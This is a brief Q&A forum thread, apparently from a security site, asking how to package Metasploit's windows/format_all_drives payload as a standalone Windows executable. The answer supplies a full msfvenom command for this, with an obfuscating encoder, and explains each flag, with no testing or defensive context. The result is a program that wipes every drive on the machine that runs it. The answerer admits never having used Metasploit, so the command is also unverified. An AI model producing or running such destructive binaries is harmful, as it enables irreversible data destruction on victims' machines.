0

For example how do I turn the payload/windows/format_all_drives into an exe without any other fancy addons?

(I am talking about using msfvenom FYI)

1 Answer 1

2

It's as simple as:

msfvenom -a x86 --platform windows -p windows/format_all_drives -e x86/shikata_ga_nai -f exe -o /tmp/1.exe

where the -a option is used to specify the architecture, the -p option is used to specify the payload, the -e option is used to specify the encoder, the -f option is used to specify the output format (exein this case) and the -o option is used to specify the file to write the binary to.


Note: I have never used metasploit in my life and wrote this answer purely from this and this (found by a simple google search).

0

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .